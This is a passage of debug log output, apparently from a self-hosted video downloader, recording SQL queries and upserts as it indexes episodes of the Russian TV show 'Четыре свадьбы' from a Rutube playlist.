m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:35:46.044 [debug] QUERY OK source="media_items" db=4.7ms queue=0.1ms idle=238.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [40] 14:35:46.048 [debug] Current batch of media processed. Will check again in 1000ms 14:35:47.051 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Ильмира, Елена, Алёна и Маргарита с нетерпением ждут гостей на своих свадьбах. У Ильмиры из Саратова будет свадьба с татарскими традициями. Елена из Фрязино отпразднует своё торжество на теплоходе. Фишкой свадьбы Алёны из Нижнего Новгорода станут экстремальные конкурсы. А свадьба Маргариты из Минеральных вод пройдёт с кавказским колоритом. Какие оценки конкурентки выставят друг другу, узнаем из программы «Четыре свадьбы».", "duration" => 4986, "filename" => "/downloads/rutubeShows/4 Свадьбы/Season 2023/s2023e032300 - Татарская свадьба VS Свадьба на теплоходе.mp4", "id" => "374a08e152e15b4958784446dab159d8", "original_url" => "https://rutube.ru/video/374a08e152e15b4958784446dab159d8/", "playlist_index" => 48, "timestamp" => 1679580007, "title" => "Татарская свадьба VS Свадьба на теплоходе", "upload_date" => "20230323"} 14:35:47.053 [debug] QUERY OK source="sources" db=1.0ms queue=0.3ms idle=1053.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 14:35:47.058 [debug] QUERY OK source="sources" db=1.6ms queue=2.6ms idle=1024.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:47.061 [debug] QUERY OK source="media_items" db=3.0ms idle=1024.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-03-23 14:00:07Z], 1] 14:35:47.178 [debug] QUERY OK source="media_items" db=114.4ms idle=1019.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Ильмира, Елена, Алёна и Маргарита с нетерпением ждут гостей на своих свадьбах. У Ильмиры из Саратова будет свадьба с татарскими традициями. Елена из Фрязино отпразднует своё торжество на теплоходе. Фишкой свадьбы Алёны из Нижнего Новгорода станут экстремальные конкурсы. А свадьба Маргариты из Минеральных вод пройдёт с кавказским колоритом. Какие оценки конкурентки выставят друг другу, узнаем из программы «Четыре свадьбы».", "Татарская свадьба VS Свадьба на теплоходе", "b4e7e525-ca2b-4b8b-8538-e6674abeb088", "374a08e152e15b4958784446dab159d8", 4986, false, "https://rutube.ru/video/374a08e152e15b4958784446dab159d8/", 48, "/downloads/rutubeShows/4 Свадьбы/Season 2023/s2023e032300 - Татарская свадьба VS Свадьба на теплоходе.mp4", false, false, false, 1, [], 1, ~U[2023-03-23 14:00:07Z], ~U[2025-12-09 11:35:47Z], ~U[2025-12-09 11:35:47Z], "Ильмира, Елена, Алёна и Маргарита с нетерпением ждут гостей на своих свадьбах. У Ильмиры из Саратова будет свадьба с татарскими традициями. Елена из Фрязино отпразднует своё торжество на теплоходе. Фишкой свадьбы Алёны из Нижнего Новгорода станут экстремальные конкурсы. А свадьба Маргариты из Минеральных вод пройдёт с кавказским колоритом. Какие оценки конкурентки выставят друг другу, узнаем из программы «Четыре свадьбы».", "Татарская свадьба VS Свадьба на теплоходе", "374a08e152e15b4958784446dab159d8", 4986, false, "https://rutube.ru/video/374a08e152e15b4958784446dab159d8/", "/downloads/rutubeShows/4 Свадьбы/Season 2023/s2023e032300 - Татарская свадьба VS Свадьба на теплоходе.mp4", false, 1, ~U[2023-03-23 14:00:07Z]] 14:35:47.181 [debug] QUERY OK source="sources" db=2.3ms queue=0.1ms idle=939.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:47.186 [debug] QUERY OK source="media_profiles" db=2.1ms queue=0.1ms idle=130.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:35:47.187 [debug] QUERY OK source="media_items" db=0.3ms queue=0.1ms idle=128.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [41] 14:35:47.188 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "", "duration" => 5115, "filename" => "/downloads/rutubeShows/4 Свадьбы/Season 2023/s2023e033000 - Магическая свадьба VS Сорванная свадьба.mp4", "id" => "ff84ec3f81134e39ed1741d23934a1bc", "original_url" => "https://rutube.ru/video/ff84ec3f81134e39ed1741d23934a1bc/", "playlist_index" => 49, "timestamp" => 1680184813, "title" => "Магическая свадьба VS Сорванная свадьба", "upload_date" => "20230330"} 14:35:47.190 [debug] QUERY OK source="sources" db=1.9ms idle=127.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 14:35:47.191 [debug] QUERY OK source="sources" db=0.3ms queue=0.2ms idle=12.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:47.195 [debug] QUERY OK source="media_items" db=2.0ms queue=0.6ms idle=10.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-03-30 14:00:13Z], 1] 14:35:47.223 [debug] QUERY OK source="media_items" db=27.2ms queue=0.1ms idle=9.9ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Магическая свадьба VS Сорванная свадьба", "84413825-6048-4043-bc15-3589824234ad", "ff84ec3f81134e39ed1741d23934a1bc", 5115, false, "https://rutube.ru/video/ff84ec3f81134e39ed1741d23934a1bc/", 49, "/downloads/rutubeShows/4 Свадьбы/Season 2023/s2023e033000 - Магическая свадьба VS Сорванная свадьба.mp4", false, false, false, 1, [], 1, ~U[2023-03-30 14:00:13Z], ~U[2025-12-09 11:35:47Z], ~U[2025-12-09 11:35:47Z], "", "Магическая свадьба VS Сорванная свадьба", "ff84ec3f81134e39ed1741d23934a1bc", 5115, false, "https://rutube.ru/video/ff84ec3f81134e39ed1741d23934a1bc/", "/downloads/rutubeShows/4 Свадьбы/Season 2023/s2023e033000 - Магическая свадьба VS Сорванная свадьба.mp4", false, 1, ~U[2023-03-30 14:00:13Z]] 14:35:47.227 [debug] QUERY OK source="sources" db=3.2ms queue=0.1ms idle=36.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:47.228 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.1ms idle=37.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:35:47.230 [debug] QUERY OK source="media_items" db=0.8ms idle=37.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [42] 14:35:47.230 [debug] Current batch of media processed. Will check again in 1000ms 14:35:48.231 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Новое противостояние невест начинается! У Юлии из Санкт-Петербурга будет классическая свадьба, на которой развлечёт гостей Чеширский Кот. Мария из Соснового Бора сама подготовит декор для своей свадьбы. Анжела из Красноярска решила сделать свадьбу в стиле «тотал блэк». А на брутальной свадьбе Татьяны из Екатеринбурга жених появится на экскаваторе. Какие ещё фишки придумали невесты для своих мероприятий, узнаем из программы «Четыре свадьбы».", "duration" => 5344, "filename" => "/downloads/rutubeShows/4 Свадьбы/Season 2023/s2023e040600 - Свадьба миллионеров VS Свадьба экскаваторщиков.mp4", "id" => "603841f2d47f8ccf53308b1d3dad4ffc", "original_url" => "https://rutube.ru/video/603841f2d47f8ccf53308b1d3dad4ffc/", "playlist_index" => 50, "timestamp" => 1680789607, "title" => "Свадьба миллионеров VS Свадьба экскаваторщиков", "upload_date" => "20230406"} 14:35:48.234 [debug] QUERY OK source="sources" db=2.0ms idle=1008.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 14:35:48.238 [debug] QUERY OK source="sources" db=0.5ms idle=1010.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:48.240 [debug] QUERY OK source="media_items" db=1.0ms idle=1010.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-04-06 14:00:07Z], 1] 14:35:48.337 [debug] QUERY OK source="media_items" db=95.6ms idle=1010.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Новое противостояние невест начинается! У Юлии из Санкт-Петербурга будет классическая свадьба, на которой развлечёт гостей Чеширский Кот. Мария из Соснового Бора сама подготовит декор для своей свадьбы. Анжела из Красноярска решила сделать свадьбу в стиле «тотал блэк». А на брутальной свадьбе Татьяны из Екатеринбурга жених появится на экскаваторе. Какие ещё фишки придумали невесты для своих мероприятий, узнаем из программы «Четыре свадьбы».", "Свадьба миллионеров VS Свадьба экскаваторщиков", "f43a0921-23da-497d-9177-bc888fe6cc85", "603841f2d47f8ccf53308b1d3dad4ffc", 5344, false, "https://rutube.ru/video/603841f2d47f8ccf53308b1d3dad4ffc/", 50, "/downloads/rutubeShows/4 Свадьбы/Season 2023/s2023e040600 - Свадьба миллионеров VS Свадьба экскаваторщиков.mp4", false, false, false, 1, [], 1, ~U[2023-04-06 14:00:07Z], ~U[2025-12-09 11:35:48Z], ~U[2025-12-09 11:35:48Z], "Новое противостояние невест начинается! У Юлии из Санкт-Петербурга будет классическая свадьба, на которой развлечёт гостей Чеширский Кот. Мария из Соснового Бора сама подготовит декор для своей свадьбы. Анжела из Красноярска решила сделать свадьбу в стиле «тотал блэк». А на брутальной свадьбе Татьяны из Екатеринбурга жених появится на экскаваторе. Какие ещё фишки придумали невесты для своих мероприятий, узнаем из программы «Четыре свадьбы».", "Свадьба миллионеров VS Свадьба экскаваторщиков", "603841f2d47f8ccf53308b1d3dad4ffc", 5344, false, "https://rutube.ru/video/603841f2d47f8ccf53308b1d3dad4ffc/", "/downloads/rutubeShows/4 Свадьбы/Season 2023/s2023e040600 - Свадьба миллионеров VS Свадьба экскаваторщиков.mp4", false, 1, ~U[2023-04-06 14:00:07Z]] 14:35:48.342 [debug] QUERY OK source="sources" db=4.0ms queue=0.4ms idle=103.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:48.347 [debug] QUERY OK source="media_profiles" db=3.8ms queue=0.3ms idle=104.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:35:48.357 [debug] QUERY OK source="media_items" db=5.6ms queue=0.2ms idle=110.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [43] 14:35:48.363 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "4 невесты пригашают на свои торжества. Фишкой свадьбы Олеси из Омска станет дрифт. У Маргариты из Соль-Илецка будет свадьба в классическом стиле с большим количеством гостей. Свадьба Евгении из Мурманска пройдёт с северными традициями. А Катя-Женя из Нахабино выберет для своей свадьбы стиль 90-х с регистрацией на баскетбольной площадке. Понравятся ли девушкам мероприятия соперниц, покажет программа «Четыре свадьбы».", "duration" => 5117, "filename" => "/downloads/rutubeShows/4 Свадьбы/Season 2023/s2023e041300 - Свадьба с оленями VS Свадьба с гонщиками.mp4", "id" => "72cff79d152ac52a11ca1d228d42a5ea", "original_url" => "https://rutube.ru/video/72cff79d152ac52a11ca1d228d42a5ea/", "playlist_index" => 51, "timestamp" => 1681394414, "title" => "Свадьба с оленями VS Свадьба с гонщиками", "upload_date" => "20230413"} 14:35:48.365 [debug] QUERY OK source="sources" db=0.7ms queue=0.7ms idle=116.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 14:35:48.367 [debug] QUERY OK source="sources" db=0.5ms idle=29.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:48.369 [debug] QUERY OK source="media_items" db=1.6ms queue=0.1ms idle=24.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-04-13 14:00:14Z], 1] 14:35:48.479 [debug] QUERY OK source="media_items" db=107.7ms idle=24.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["4 невесты пригашают на свои торжества. Фишкой свадьбы Олеси из Омска станет дрифт. У Маргариты из Соль-Илецка будет свадьба в классическом стиле с большим количеством гостей. Свадьба Евгении из Мурманска пройдёт с северными традициями. А Катя-Женя из Нахабино выберет для своей свадьбы стиль 90-х с регистрацией на баскетбольной площадке. Понравятся ли девушкам мероприятия соперниц, покажет программа «Четыре свадьбы».", "Свадьба с оленями VS Свадьба с гонщиками", "66082f39-3a7a-48a1-9e2b-781254e07b8d", "72cff79d152ac52a11ca1d228d42a5ea", 5117, false, "https://rutube.ru/video/72cff79d152ac52a11ca1d228d42a5ea/", 51, "/downloads/rutubeShows/4 Свадьбы/Season 2023/s2023e041300 - Свадьба с оленями VS Свадьба с гонщиками.mp4", false, false, false, 1, [], 1, ~U[2023-04-13 14:00:14Z], ~U[2025-12-09 11:35:48Z], ~U[2025-12-09 11:35:48Z], "4 невесты пригашают на свои торжества. Фишкой свадьбы Олеси из Омска станет дрифт. У Маргариты из Соль-Илецка будет свадьба в классическом стиле с большим количеством гостей. Свадьба Евгении из Мурманска пройдёт с северными традициями. А Катя-Женя из Нахабино выберет для своей свадьбы стиль 90-х с регистрацией на баскетбольной площадке. Понравятся ли девушкам мероприятия соперниц, покажет программа «Четыре свадьбы».", "Свадьба с оленями VS Свадьба с гонщиками", "72cff79d152ac52a11ca1d228d42a5ea", 5117, false, "https://rutube.ru/video/72cff79d152ac52a11ca1d228d42a5ea/", "/downloads/rutubeShows/4 Свадьбы/Season 2023/s2023e041300 - Свадьба с оленями VS Свадьба с гонщиками.mp4", false, 1, ~U[2023-04-13 14:00:14Z]] 14:35:48.490 [debug] QUERY OK source="sources" db=10.8ms queue=0.1ms idle=123.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:48.493 [debug] QUERY OK source="media_profiles" db=1.0ms queue=1.5ms idle=126.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:35:48.495 [debug] QUERY OK source="media_items" db=1.3ms idle=126.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= 